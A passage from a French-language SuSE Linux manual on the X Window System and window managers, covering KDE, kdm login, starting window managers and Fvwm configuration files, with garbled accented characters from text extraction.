|||||||| bonne connaissance du mode de fonctionnement du moniteur et de la carte || |
|||||||| || |
|||||||| graphique car une telle modification peut Θventuellement entraεner la des- || |
|||||||| truction du moniteur ! || |
||||||||_______________________________________________________________________________________________________________||_
Ceux qui se sentent le courage d'Θlaborer leurs propres descriptions de mo-
niteur devraient Ωtre familiarisΘs avec la documentation qui se trouve dans
le rΘpertoire /usr/X11/lib/X11/doc. Il convient de mentionner tout parti-
culiΦrement [FCR93 ] qui contient une description dΘtaillΘe des fonctions du
matΘriel et de la crΘation de modelines.
Des sections Monitor prΘdΘfinies pouvant Ωtre insΘrΘes dans XF86Config se
trouvent dans le fichier /usr/X11/lib/X11/Monitors. Un moniteur qui
n'y est pas mentionnΘ devrait Ωtre utilisΘ avec les synchronisations stan-
dard VESA telles qu'elles se trouvent dans la section Monitor crΘΘe par
XF86Setup ou xf86config . Dans ce cas, il est essentiel que les valeurs pour
les frΘquences horizontales et verticales aient ΘtΘ correctement spΘcifiΘes !
Ici aussi, les configurations testΘes peuvent Ωtre ajoutΘes α la liste lorsque
celles-ci sont communiquΘes α SuSE GmbH ou α l'Θquipe XFree86.
*
* 263
8. Le systΦme X Window____________________________________________________________________________________________________________*
*_______________________________________@
264
Chapitre 9
Le gestionnaire de fenΩtres ~
Votre ouverture sur l'ordinateur
AprΦs avoir configurΘ le serveur X, vous voudrez certainement entrer en pos-
session d'un beau bureau dotΘ de fenΩtres, de menus et de tout un tas d'autres
choses dont doit disposer un bureau ``comme il faut''.
Ce chapitre traite donc des gestionnaires de fenΩtres et dΘveloppe les thΦmes
suivants :
~ Un gestionnaire de fenΩtres et ses fonctions
~ KDE ~ l'environnement K Desktop comme alternative
~ Fvwm2 ~ le gestionnaire de fenΩtres classique sous Linux
~ susewm ~ ΘlΘgant chemin qui vous mΦne α votre propre fichier de confi-
guration
~ La pratique : personnalisation de diffΘrentes configurations.
Tout aussi impatient que vous puissiez Ωtre de passer α la pratique, n'oubliez
pas qu'il est nΘcessaire de possΘder quelques connaissances de base. Donc,
pour commencer, un peu de thΘorie !
9.1 ThΘorie de l'interface utilisateur graphique
9.1.1 Structure du systΦme X Window
Contrairement α ce qui se passe pour les + interfaces utilisateur graphiques
monolithiques comme celles que l'on rencontre, par exemple, sous Windows
ou OS/2, les diffΘrentes couches fonctionnelles sous Linux sont strictement
sΘparΘes les unes des autres. Ceci rend α premiΦre vue la manipulation plus
complexe mais vous offre en compensation une plus grande flexibilitΘ. Le
systΦme peut ainsi satisfaire de trΦs hautes exigences.
La premiΦre couche au dessus du matΘriel est le systΦme d'exploitation qui
assume des tΓches de base telles que par exemple la gestion de la mΘmoire.
Au dessus, se trouve le + serveur X (systΦme X Window). D'une part, le ``ser-
veur X'' correspond au ``pilote graphique'' (pour reprendre un terme employΘ
couramment sous d'autres systΦmes) et d'autre part il met α disposition une
couche d'abstraction au niveau rΘseau. Ceci permet une utilisation rΘpartie
sur l'ensemble d'un rΘseau (y compris Internet) des services d'un serveur X.
Voici quelles sont les tΓches du serveur X :
*
* 265
9. Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
*_______________________________________@
~ AccΦs α la carte graphique,
~ traτage de points, de lignes, de rectangles, Θcriture de texte et
~ distribution de ces services ou accΦs α ceux-ci α travers un rΘseau ou par
la machine locale.
Bien que la plupart des utilisateurs font usage des services du serveur X uni-
quement sur leur station de travail, c'est-α-dire localement, la fonction rΘseau
intΘgrΘe et transparente pour l'utilisateur n'en prΘsente pas moins certains
avantages. L'utilisateur peut bΘnΘficier d'une interface unifiΘe sans qu'il soit
imposΘ de restrictions α la reprΘsentation graphique du bureau. Ce n'est que
grΓce α cela qu'il est possible de dΘvelopper diffΘrentes interfaces graphiques
tout en faisant en sorte que chaque programme puisse malgrΘ tout Ωtre reprΘ-
sentΘ sur chaque bureau.
Si l'on travaille en rΘseau, il est parfaitement possible de faire tourner au
bureau une application dont les affichages apparaεtront sur l'Θcran du PC que
l'on possΦde α la maison. On peut faire tourner indiffΘremment sur la machine
distante, soit quelques applications seulement, soit tous les programmes du
bureau. L'architecture matΘrielle et le systΦme d'exploitation ~ dans la mesure
o∙ celui-ci supporte X11 ~ ne constituent pas non plus un obstacle. Pour citer
un exemple, il n'est plus dΘsormais indispensable de se trouver dans la mΩme
piΦce que la station de travail graphique performante et bruyante. Il est tout α
fait possible de travailler dans un lieu plus confortable sur une machine moins
puissante et de faire exΘcuter l'application que l'on dΘsire sur la station de
travail. Linux Θtant un systΦme multiutilisateur, plusieurs personnes peuvent
travailler simultanΘment sur une mΩme machine en utilisant des terminaux X.
Un terminal X est une petite machine sans disque dur qui amorce α travers le
rΘseau.
Afin que les rectangles qui nous fournissent les ΘlΘments de base pour les
fenΩtres et outils de contr⌠le que nous connaissons dΘjα se transforment en
fenΩtres ou menus que l'on peut dΘplacer α son grΘ, il est nΘcessaire d'avoir
recours aux services d'un gestionnaire de fenΩtres.
Les fenΩtres ont une importance cruciale du fait qu'elles permettent de faire
tourner diffΘrentes applications les unes α c⌠tΘ des autres d'une maniΦre facile
α superviser et d'utiliser des menus qui rendent plus aisΘe la manipulation de
la machine.
Le gestionnaire de fenΩtres reprΘsente donc une couche supplΘmentaire entre
le serveur X, les programmes d'application et l'utilisateur comme le montre
la figure 9.1 page suivante.1
Il existe sous Linux plusieurs gestionnaires de fenΩtres et il convient ici de
faire la diffΘrence entre les gestionnaires de fenΩtres proprement dits (angl.
windowmanagers) et les ``environnements de travail'' ou les ``environnements
de bureau'' (angl. Desktop Environments). Alors que les gestionnaires de fe-
nΩtres proprement dits se limitent α s'occuper des fenΩtres, les ``environne-
ments de bureau'' disposent, en plus du gestionnaire de fenΩtres, d'un certain
nombre d'applications qui ont un aspect et un mode d'utilisation homogΦnes.
_____________________________________________1
Nous mentionnerons ici, uniquement pour complΘter notre description, que les dΘveloppeurs
d'applications X ont directement accΦs α X.
266
_________________________________________________________9.1.__ThΘorie_de_l'interface_utilisateur_graphique_________________*
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Fig. 9.1: Couches de l'interface utilisateur graphique
Les gestionnaires de fenΩtres suivants sont fournis avec SuSE Linux :
~ Fvwm ~ pendant trΦs longtemps le gestionnaire de fenΩtres sous Linux
~ Fvwm95 ~ qui s'inspire de Windows 95
~ AfterStep ~ mΩme prΘsentation et aspect que NeXTSTEP
~ WindowMaker ~ idem, mais complΦtement rΘimplΘmentΘ
~ Enlightenment ~ richement ΘquipΘ
~ Ctwm ~ gestionnaire de fenΩtres sans fioritures
~ Olvwm ~ gestionnaire de fenΩtres virtuel OpenLook , pour ceux qui
aiment sortir de l'ordinaire.
Vous trouverez encore d'autres gestionnaires de fenΩtres dans la sΘrie xwm.
Sur la base de Fvwm , il a ΘtΘ Θcrit un trΦs grand nombre d'autres getion-
naires de fenΩtres pouvant tous Ωtre configurΘs d'une maniΦre analogue. Cette
famille compte les versions 1, 2.0 et 2.2 de Fvwm ainsi que AfterStep , Bow-
man , cdesim et Fvwm95 .
Il existe, en outre, les environnements de bureau suivants :
~ KDE ~ K Desktop Environments (prΘvu par dΘfaut sous SuSE Linux)
~ GNOME ~ GNU Network Object Model Environment
~ XFce ~ Un clone du produit commercial CDE
Le choix de votre gestionnaire de fenΩtres dΘpend uniquement de votre go√t
personnel, des fonctions dont vous avez besoin et de la performance de votre
matΘriel. Par leur consommation de mΘmoire, les gestionnaires de fenΩtres
prΘsentent des diffΘrences parfois considΘrables. Un environnement de bu-
reau tel que KDE ou GNOME ne devrait Ωtre installΘ que sur des machines
dotΘes d'au moins 64 Mo de mΘmoire physique (+ mΘmoire). Mais outre leur
apparence, ce sont surtout leurs possibilitΘs de configuration et d'extension
*
* 267
9. Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
*_______________________________________@
qui diffΘrencient le plus les divers gestionnaires de fenΩtres. Depuis la fi-
gure 9.2 jusqu'α la figure 9.5, vous voyez quatre exemples de dΘcorations de
fenΩtres. La figure 9.2 montre le serveur X sans gestionnaire de fenΩtres ac-
tivΘ. Il n'existe pas de cadres permettant d'influer sur la taille et la position de
la fenΩtre.
Fig. 9.2: Pas de dΘcoration de fenΩtre ~ X11 sans gestionnaire de fenΩtres
Fig. 9.3: DΘcoration de fenΩtre de kwm de KDE
Fig. 9.4: DΘcoration de fenΩtre de Fvwm
Fig. 9.5: DΘcoration de fenΩtre de WindowMaker
Rien ne vous empΩche d'installer (parallΦlement) les diffΘrents gestionnaires
de fenΩtres et de les essayer. Lorsque vous aurez pris une dΘcision, vous pour-
rez modifier votre gestionnaire de fenΩtres selon vos dΘsirs et vous crΘer un
environnement de travail personnalisΘ. KDE est installΘ comme environne-
ment de travail par dΘfaut.
________________________________________________________________________________________________________*
*________||
| Pour terminer, encore une astuce : La majeure partie des informations *
* ||||
| contenues dans ce chapitre se rapporte α Fvwm2 ou α KDE . Si vous Ωtes *
* |||
| *
* |||
| encore indΘcis, choisissez tout simplement l'un des deux ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
9.1.2 De quoi s'occupe un gestionnaire de fenΩtres ?
Voici maintenant une brΦve ΘnumΘration (incomplΦte) de ce que l'on peut
modifier, par la configuration d'un gestionnaire de fenΩtres, dans le compor-
tement et l'aspect du bureau :
268
_________________________________________________________9.1.__ThΘorie_de_l'interface_utilisateur_graphique_________________*
*______________________
~ Aspect des fenΩtres
~ Largeur, couleur et effet 3D de la bordure
~ ╔lΘments de contr⌠le utilisΘs pour le dΘplacement ou l'agrandissement
de la fenΩtre (ce que l'on appelle la dΘcoration des fenΩtres), les lignes
de titres et les polices de caractΦres
~ Superposition de fenΩtres
~ Comportement d'ΘlΘvation, par exemple auto-ΘlΘvation (mise en avant-
plan automatique)
~ Clouage de fenΩtres
~ Donner le focus α une fenΩtre
~ en cliquant
~ en ``touchant'' avec le pointeur de la souris
~ Menus contextuels (pop-up)
~ Aspect des menus (couleur, polices de caractΦres)
~ Comportement des menus, sous-menus
~ Fond d'Θcran
~ ╔cran virtuel (plusieurs bureaux/Θcrans)
~ Gestion d'ic⌠nes
~ Associer des sons aux Θvenements sur le bureau
Seuls quelques gestionnaires de fenΩtres disposent d'un programme de confi-
guration graphique intuitif permettant de paramΘtrer et de gΘrer les fonctions
que nous venons d'ΘnumΘrer. Ce sont par exemple KDE , GNOME , Window-
Maker et Enlightenment .
La plupart des configurations se font au moyen d'un ou de plusieurs fichiers
de configuration. On peut alors rΘgler les paramΦtres α l'aide de commandes
plus ou moins mnΘmotechniques. L'expΘrience a dΘmontrΘ que l'on s'habi-
tue trΦs vite α un gestionnaire de fenΩtres et α la maniΦre de le configurer.
En outre, l'utilisateur ne configure en gΘnΘral son ``gestionnaire de fenΩtres
favori'' qu'au dΘbut et travaille ensuite avec celui-ci tout le reste du temps.
9.1.3 DΘmarrage de diffΘrents gestionnaires de fenΩtres
Pour le lancement des diffΘrents gestionnaires de fenΩtres, il existe sous SuSE
Linux plusieurs possibilitΘs qui dΘpendent de la maniΦre dont vous dΘmarrez
votre systΦme X Window.
DΘmarrage avec kdm
Si vous dΘmarrez le systΦme X Window avec KDM , vous pourrez choisir un
gestionnaire de fenΩtres dans le dialogue de login. kdm enregistre pour chaque
utilisateur la derniΦre configuration. Plus de dΘtails α ce sujet au chapitre 9.2
page 271.
*
* 269
9. Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
*_______________________________________@
DΘmarrage avec xdm
Si vous utilisez XDM α la place de KDM , vous devrez ~ ainsi qu'il est dΘcrit
ci-dessous ~ positionner la variable d'envrironnement WINDOWMANAGER dans
le fichier ~/.bashrc.
DΘmarrage avec startx
Si aprΦs l'amorτage vous ne faites pas dΘmarrer automatiquement le systΦme
X Window, vous pouvez dΘmarrer un gestionnaire de fenΩtres dΘterminΘ α
partir de la console texte en lanτant startx avec un paramΦtre. Par exemple
par la commande :
tux@terre: > startx fvwm95
C'est ainsi que dΘmarre Fvwm95 . Comme paramΦtre, on utilise toujours ici
le nom de fichier du gestionnaire de fenΩtres. Cela fonctionne pour la plupart
des gestionnaires de fenΩtres qui vous sont fournis. On peut ajouter α cette
commande le paramΦtre concernant la profondeur de couleurs :
tux@terre: > startx afterstep -- -bpp 16
Cette commande lance le systΦme X Window en mode 16 bits (65536 cou-
leurs) avec AfterStep comme gestionnaire de fenΩtres. Mais il est probable
que vous ayez dΘjα choisi cette profondeur de couleurs comme configuration
par dΘfaut au cours de l'installation. Voir le paragraphe 2.1.14 page 26 ainsi
que la page de man de startx (man startx ).
La variable WINDOWMANAGER
AprΦs avoir choisi votre gestionnaire de fenΩtres, vous pouvez ajouter dans
le fichier ~/.bashrc du rΘpertoire HOME la ligne suivante ou, le cas ΘchΘant,
modifier une ligne dΘjα existante :
export WINDOWMANAGER=fvwm95
pour que Fvwm95 soit configurΘ comme gestionnaire de fenΩtres par dΘfaut.
Ici aussi, vous devez spΘcifier le nom du programme gestionnaire de fenΩtres
exΘcutable et vous devez toujours ajouter le nom du chemin d'accΦs α ce
fichier lorsque le nom du rΘpertoire correspondant n'est pas contenu dans la
variable d'environnement PATH.
Avec YaST , vous pouvez faire aussi cette entrΘe pour /etc/profile si vous
voulez dΘterminer le gestionnaire de fenΩtres pour tous les utilisateurs du
systΦme. Voir la marche α suivre au paragraphe 3.6.6 page 110. Veillez α
ce que chaque utilisateur puisse inscrire cette configuration dans son propre
fichier ~/.bashrc.
Changer de gestionnaire de fenΩtres en cours de travail
Si vous utilisez SuSEwm , il est possible, avec quelques gestionnaires de fe-
nΩtres (tout particuliΦrement de la famille Fvwm ) d'effectuer un changement
pendant le fonctionnement du systΦme. Les fenΩtres dΘjα ouvertes ne sont pas
abandonnΘes et les processus qui tournent dans celles-ci ne sont donc pas an-
nulΘs. Dans certains gestionnaires de fenΩtres tels que Ctwm , kwm (KDE )
ou CDE , cette fonction n'a pas ΘtΘ implΘmentΘe par les programmeurs. Pour
270
________________________________________________________________________9.2.__L'environnement_de_bureau_KDE_________________*
*______________________
pouvoir malgrΘ tout basculer entre diffΘrents gestionnaires de fenΩtres, vous
pouvez avoir recours α SuSE DyDe (angl. SuSE dynamic desktop). Si vous
souhaitez utiliser SuSE DyDe , vous devez dΘfinir suse comme gestionnaire
de fenΩtres ou le sΘlectionner en tant que tel dans dans KDM
9.2 L'environnement de bureau KDE
Avec KDE , Linux dispose, pour un trΦs grand nombre d'applications, d'une
interface utilisateur graphique simple α configurer, de prΘsentation plaisante
et homogΦne. KDE est l'acronyme de ``K Desktop Environment''. Il est le
projet d'un groupe de dΘveloppeurs qui depuis sa crΘation en automne 1996
ne cesse de s'accroεtre.
En plus de son propre gestionnaire de fenΩtres (kwm ), KDE offre aussi,
comme ΘlΘment central, un navigateur WEB gestionnaire de fichiers (kfm ),
un systΦme d'aide global (kdehelp ) qui s'appuie sur des documents HTML,
des pages de man et des pages d'infos GNU. Il met aussi α disposition un trΦs
grand nombre d'applications plus ou moins Θtendues dont on a besoin pour
le travail quotidien (par exemple programme de messagerie, lecteur de news,
jeux, outils d'information systΦme etc.).
KDE est entiΦrement basΘ sur les + URL et les + MIME. Cela signifie que
toutes les spΘcifications de chemins d'accΦs et les rΘfΘrences aux fichiers sont
transmises et traitΘes dans un format unifiΘ avec indication du type de fichier
et des protocoles de transmission (par exemple sous forme de rΘfΘrence α
une page HTLM dans le systΦme de fichiers local, α une page d'aide ou α
un serveur FTP). Il est en outre dΘfini, au moyen des ``types de MIME'', quels
programmes peuvent lire quels fichiers. Il est ainsi possible, indΘpendamment
du type et de la source des donnΘes, de lire celles-ci par un clic de souris et,
le cas ΘchΘant, de les modifier.
L'utilisateur peut en outre rΘaliser bon nombre de choses par la mΘthode
``glisser/dΘposer'' (angl. drag & drop), par exemple copier un fichier depuis
un serveur FTP vers le systΦme local.
Le systΦme d'aide de KDE constitue encore un point en plus. Les auteurs
d'applications KDE sont tenus de fournir au systΦme d'aide KDE leur docu-
mentation de programmes en HTLM. En plus des pages HTLM du systΦme
d'aide ~ qui peut Ωtre invoquΘ depuis la plupart des programmes au moyen
du bouton `Aide' ~ KDE vous propose aussi, sous forme de documents hy-
pertextes, des pages de man UNIX et mΩme des pages d'infos GNU dans
lesquelles vous pouvez ``butiner'' aisΘment.
La possibilitΘ de configurer les applications Θcrites sous KDE et mΩme KDE
lui-mΩme de faτon simple et homogΦne α l'aide d'un menu et de placer des
ic⌠nes sur le bureau vient encore s'ajouter α la liste dΘjα longue de toutes les
caractΘristiques attrayantes de KDE.
_______________________________________________________________________________________________________________________||
|||||||| KDE est dΘveloppΘ α l'aide des widgets QT. De mΩme que Motif, QT est ||| |
|||||||| une sorte de bibliothΦque utilisΘe pour l'Θlaboration de programmes orien- || |
|||||||| || |
|||||||| tΘs interface sous le systΦme X Window. Il convient toutefois d'observer || |
|||||||| les termes de la licence QT divergente de la GPL (/usr/doc/packages/ || |
|||||||| || |
|||||||| qt/LICENSE). || |
||||||||_______________________________________________________________________________________________________________||_
*
* 271
9. Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
*_______________________________________@
9.2.1 GΘnΘralitΘs
KDE est installΘ par dΘfaut dans le rΘpertoire /opt/kde. Tous les fichiers
ayant un r⌠le α jouer dans KDE se trouvent dans une arborescence de rΘper-
toires situΘe au dessous de ce chemin d'accΦs. Pour qu'il soit plus facile de
parvenir α ce chemin, la variable d'environnement KDEDIR est positionnΘe,
au niveau systΦme, dans le fichier /etc/profile. AprΦs installation des pa-
quetages KDE, le rΘpertoire /opt/kde/bin est automatiquement placΘ dans
le chemin d'accΦs (PATH) pour fichiers exΘcutables.
L'arborescence des rΘpertoires KDE comprend de nombreux sous-rΘpertoires
dont seuls les plus importants sont dΘcrits dans le tableau 9.1.
________________________________________________________________________________________________________*
*________
/opt/kde/bin tous les programmes KDE (fichiers exΘcu-
tables)
/opt/kde/share/config fichiers de configuration au niveau sys-
tΦme
/opt/kde/share/applnk liens de programmes (menu)
/opt/kde/share/apps fichiers concernant les programmes KDE
/opt/kde/share/doc les aides en ligne
/usr/doc/packages/kde informations complΘmentaires sur KDE
________________________________________________________________________________________________________*
*________
Tab. 9.1: KDE ~ rΘpertoires importants
Tous ceux qui dΘdaignent la souris trouveront dans le tableau 9.2 des combi-
naisons de touches qui leur seront utiles.
________________________________________________________________________________________________________*
*________
|____ ___
____A|lt+_|F___|1_ Le menu K est ouvert.
|____A|lt+ |F___|2 Un champ d'entrΘe α usage uni-
versel est ouvert. Vous pouvez
ici spΘcifier des URL, des rΘ-
pertoires locaux ou des pro-
grammes/commandes
|_____|Alt+ |F___|_3 La fenΩtre est fermΘe.
|____ ____
____A|lt+ |T____a|b Vous pouvez ici basculer entre
les fenΩtres du bureau actuel.
|_______|Ctrl+ |E_____|sc Il apparaεt une vue d'ensemble
de la session avec affichage des
fenΩtres de tous les bureaux
|_______|Ctrl+ |F___|_1: :|:___|_F8 Basculer entre les bureaux de
1 α 8.
________________________________________________________________________________________________________*
*________
Tab. 9.2: KDE ~ combinaisons de touches importantes
272
________________________________________________________________________9.2.__L'environnement_de_bureau_KDE_________________*
*______________________
9.2.2 kdm ~ login graphique
Le gestionnaire d'Θcran KDM , qui accompagne les paquetages KDE, consti-
tue une extension prΘcieuse α tout systΦme Linux auquel l'utilisateur se
connecte en mode graphique. la figure 9.6 vous montre la configuration par
dΘfaut de KDM sous SuSE Linux.
Fig. 9.6: Le gestionnaire d'Θcran kdm
Avec les diffΘrents boutons, vous pouvez sΘlectionner le gestionnaire de fe-
nΩtres (`Type de session') que vous souhaitez utiliser ou la langue du
menu (`Langue'). Une caractΘristique intΘressante, particuliΦrement pour or-
dinateurs monopostes, est la possibilitΘ d'arrΩter la machine α l'aide du bou-
ton `Shutdown' pour l'Θteindre ensuite. Voir le paragraphe 19.2 page 483.
KDM offre diverses possibilitΘs de configuration. Il peut Ωtre configurΘ
soit directement au moyen d'un fichier de configuration /opt/kde/share/
config/kdmrc soit α l'aide d'un dialogue de configuration α partir du menu
KDE. Sous SuSE Linux, il est Θgalement possible de configurer les gestion-
naires de fenΩtres accessibles et de lancer KDM trΦs aisΘment avec YaST .
Voir le paragraphe 3.6.5 page 109.
Pour cela, il est nΘcessaire de positionner dans le fichier de configuration
/etc/rc.config les deux variables DISPLAYMANAGER et KDM_SHUTDOWN .
Ces variables sont dΘcrites α la page 460.
Les valeurs de ces variables sont insΘrΘes par SuSEconfig dans le fichier
/opt/kde/share/config/kdmrc et sont disponibles lors du prochain lan-
cement de KDM ; redΘmarrez le cas ΘchΘant avec la combinaison de touches
Ctrl |||||||||___+ |A_____|lt+ | _____|7. !Au cas o∙ vous auriez configurΘ KDM pendant l'exΘcu-
tion du systΦme KDE et au moyen du centre de contr⌠le KDE, les variables
provenant de /etc/rc.config ne seront pas insΘrΘes automatiquement afin
d'Θviter que vos modifications soient effacΘes. Mais si vous voulez faire rΘa-
liser votre configuration au moyen de /etc/rc.config, il est indispensable
de renommer le fichier SuSEconfig.kdm toujours crΘΘ par SuSEconfig.kdm
*
* 273
9. Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
*_______________________________________@
en lui donnant le nom kdmrc2 . Le fichier kdmrc sera alors nouvellement crΘΘ
α chaque fois.
9.2.3 Que possΦde donc KDE de si sensationnel ?
AprΦs avoir pu nous connecter confortablement en mode graphique α l'aide
de KDM , nous pensons qu'il est temps de nous pencher sur les particularitΘs
de KDE. Nous allons donc dΘcrire tout simplement ce qui se passe aprΦs
l'ouverture de la session (ou aprΦs le lancement de startx ).
Quelques instants aprΦs votre premiΦre ouverture de session, vous voyez ap-
paraεtre des boεtes de dialogue qui vous font savoir qu'il manque diffΘrents
fichiers et rΘpertoires. Ce n'est pas une erreur mais quelque chose de lo-
gique. KDE crΘe en effet ~ sur le modΦle de l'arborescence sous /opt/
kde (tableau 9.1 page 272) ~ quelques rΘpertoires et fichiers de configura-
tion dans votre rΘpertoire personnel. Ce sont les rΘpertoires HOME/.kde et
HOME/Desktop. Le premier rΘpertoire sert α stocker les fichiers de configu-
ration des diffΘrentes applications KDE et le deuxiΦme α stocker des liens.
Vous pouvez,_en toute bonne conscience, valider le dialogue mentionnΘ, soit
avec |_____-|, soit α l'aide de la souris.
Ensuite kfm (K FileManager) est lancΘ. kfm est un ΘlΘment absolument fon-
damental de KDE. Ainsi que nous l'avons dΘjα dit au dΘbut de ce paragraphe,
kfm peut manipuler des types trΦs divers de fichiers puisque le traitement des
noms de fichiers se fait par le biais des URL. Que l'on copie un fichier comme
archive depuis le serveur FTP (prΘfixe URL htp:) ou comme fichier (prΘfixe
URL file:), qu'il s'agisse d'une page de man (prΘfixe URL man:), d'une
page d'infos GNU (prΘfixe URL info:) ou d'une page HTLM provenant
d'un serveur WWW (prΘfixe URL info:), tout est traitΘ et reprΘsentΘ de la
mΩme maniΦre par KDE. Il est mΩme possible de visualiser des images de
diffΘrents formats α l'aide d'un visualiseur externe. La figure 9.7 nous montre
une fenΩtre kfm typique.
Fig. 9.7: Le gestionnaire de fichiers kfm
Pour l'utilisateur, ces fonctions deviennent trΦs vite quelque chose qui va de
soi tout comme la simple copie de fichiers par un clic de souris. Nous tenons
_____________________________________________2
Les deux fichiers se trouvent dans le rΘpertoire /opt/kde/share/config
274
________________________________________________________________________9.2.__L'environnement_de_bureau_KDE_________________*
*______________________
α mentionner ici qu'il suffit de cliquer avec le bouton droit de la souris sur
une ic⌠ne de fichier pour ouvrir un menu qui offre diffΘrentes possibilitΘs de
manipuler ce fichier, par exemple de dΘterminer ses propriΘtΘs ou celles du
programme.
Les propriΘtΘs d'un programme, par exemple les paramΦtres avec lesquels il
est lancΘ, l'ic⌠ne qui le symbolise sur le bureau et d'autres choses encore
sont insΘrΘs dans un fichier avec l'extension .kdelnk. La modification des
propriΘtΘs se fait par le biais d'un dialogue semblable α celui de la figure 9.8.
Ce fichier est disponible sous forme d'un fichier ASCII Θditable. Les fichiers
qui se trouvent par exemple dans ~/Desktop ou (au niveau systΦme) dans
/opt/kde/share/applnk valent la peine qu'on y jette un coup d'oeil. Ils
sont symbolisΘs par les ic⌠nes reprΘsentΘes sur le bureau ou dans le menu. Ils
ont un format unifiΘ tout comme les autres fichiers de configuration KDE.
Fig. 9.8: Le dialogue sur les propriΘtΘs
Le dernier programme qui est lancΘ est gΘnΘralement la barre de menus
KPanel . Vous trouverez dans cette barre de menus les ΘlΘments de commande
nΘcessaires pour les diffΘrents Θcrans virtuels ainsi qu'un menu spΘcial (celui
avec un `K' majuscule) dans lequel se trouvent toutes les entrΘes de menus
KDE disponibles au niveau systΦme (voir les fichiers kdelnk!). Vous trou-
*
* 275
9. Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
*_______________________________________@
verez aussi dans ce menu la configuration du systΦme KDE effectuΘe α l'aide
du centre de contr⌠le KDE (figure 9.9) et celle de KPanel .
Fig. 9.9: Le centre de contr⌠le
Mais KPanel ne s'arrΩte pas lα. Non seulement il est possible de placer par la
mΘthode ``glisser/dΘposer'' des ic⌠nes sur la barre de menus et de dΘmarrer α
partir de lα des applications, mais KPanel peut aussi ``avaler'' des programmes
en cours d'exΘcution. Les candidats possibles sont par exemple klipper (plu-
sieurs tampons pour ``couper/coller'') ou korn qui affiche le nombre de mails
qui se trouvent dans un fichier dΘterminΘ. Ils tournent alors au sein de KPanel
et sont ainsi ~ ce qui est essentiel ~ visibles sur tous les bureaux.
Une ΘnumΘration de tous les programmes KDE nous mΦnerait s√rement trop
loin et serait d'ailleurs presque impossible en raison de l'offre qui ne cesse
de s'accroεtre et de se modifier. Comme l'un des objectifs de l'Θquipe KDE
est de faciliter l'utilisation des ordinateurs, vous devriez tirer profit de cette
offre en parcourant le menu et en donnant un coup d'oeil α l'un ou α l'autre
des programmes.
Une aide pour la plupart des programmes vous est proposΘe par kdehelp que
vous pouvez facilement lancer α partir du menu que vous faites surgir par un
clic du bouton droit de la souris sur le fond d'Θcran (sans parler des autres
caractΘristiques intΘressantes de ce menu !)
Gardez toutefois prΘsent α l'esprit que plusieurs des paquetages KDE que
nous vous fournissons sont encore au stade ALPHA. Cela signifie qu'ils
peuvent Ωtre instables, ne pas Ωtre implΘmentΘs complΦtement et qu'il peut
se passer des choses Θtranges. Mais en gΘnΘral il ne se produit rien de plus
qu'un plantage du programme qui rend nΘcessaire un nouveau dΘmarrage.
276
__________________________________________________________________________________________________________________9.3.__Fvwm*
*______________________
Le projet KDE met α votre disposition quelques listes de diffusion sur son site
(http://www.kde.org). Le serveur fournit un trΦs grand nombre d'informa-
tions sur KDE, sur ses objectifs et sur l'avancement de son dΘveloppement.
Pour terminer, nous attirons votre attention sur notre serveur FTP sur le-
quel vous trouverez, sous ftp://ftp.suse.com/pub/SuSE-Linux/suse_
update/KDE des paquetages KDE qui ont ΘtΘ spΘcialement adaptΘs α SuSE
Linux. Vous pourrez, avec YaST , intΘgrer facilement ces paquetages dans
votre systΦme. Lisez aussi la documentation se rapportant α l'installation et α
l'utilisation de KDE dans votre SuSE Linux.
9.3 Fvwm
GΘnΘralitΘs
Nous allons maintenant Θvoquer Fvwm2 (fvwm2 ). C'est l'un des gestion-
naires de fenΩtres qui ouvrent le plus de perspectives sous Linux et qui conti-
nue encore α produire des rejetons ~ tout derniΦrement Scwm (scwm ).
Outre ses fonctions habituelles pour la gestion des fenΩtres et de leur dΘcora-
tion, il offre des menus d'arriΦre-plan et des sous-programmes pouvant Ωtre
chargΘs en cours d'exΘcution du systΦme et mettant α disposition certaines
fonctions intΘressantes telles que par exemple une barre de boutons.
Vous trouverez des informations complΘmentaires sur l'appel et la confi-
guration de Fvwm et de ses modules dans les pages de man qui s'y rap-
portent (page de man de fvwm2 (man fvwm2 ), page de man de FvwmAudio
(man FvwmAudio ), page de man de FvwmButtons (man FvwmButtons ),
etc.) ou dans le rΘpertoire documentation /usr/doc/packages/fvwm dans
lequel on trouve aussi les fichiers de configuration exemples fournis avec le
paquetage.
Si vous ne voulez pas Θcrire un fichier de configuration en partant de zΘro,
vous pouvez en faire dresser la ``charpente'' par SuSEwm et la modifier selon
vos dΘsirs. SuSEwm est dΘcrit au paragraphe 9.5 page 282.
Fichiers de configuration de Fvwm
Il est possible de configurer Fvwm au moyen de deux fichiers :
~ Un fichier de configuration au niveau systΦme qui devrait toujours Ωtre
prΘsent. Ce fichier est situΘ dans le rΘpertoire /usr/X11R6/lib/X11/
fvwm2 sous le nom .fvwm2rc.
~ Un fichier propre α l'utilisateur qui n'est pas absolument indispensable. Il
s'appelle aussi ~/.fvwm2rc et se trouve dans le rΘpertoire personnel de
l'utilisateur concernΘ.
Le paquetage susewm ~ que nous dΘcrirons au paragraphe 9.5 page 282 ~
garantit qu'un fichier de configuration sera toujours crΘΘ au niveau systΦme
pour Fvwm lors de l'installation d'un systΦme SuSE Linux.
Fvwm lit les fichiers de configuration lorsqu'il dΘmarre. Un gestionnaire de
fenΩtres est lancΘ α partir du fichier /usr/X11R6/lib/X11/xinit/xinitrc
ou du fichier ~/.xinitrc. Pour cela, la variable WINDOWMANAGER devrait
*
* 277
9. Le gestionnaire_de_fenΩtres_~_Votre_ouverture_sur_l'ordinateur_________________________________________________________________*
*_______________________________________@
Ωtre positionnΘe avec le nom complet du fichier exΘcutable du gestionnaire
de fenΩtres concernΘ, par exemple /usr/X11R6/bin/fvwm. Voir aussi la
page 270. Il tente d'abord de lire le fichier de configuration appartenant α
l'utilisateur et ensuite, si un tel fichier n'existe pas, le fichier de configuration
spΘcifique au systΦme.
Les diffΘrents modules de Fvwm lisent Θgalement les mΩmes fichiers de confi-
guration lorsqu'ils sont appelΘs. Il n'utilisent cependant que les parties du
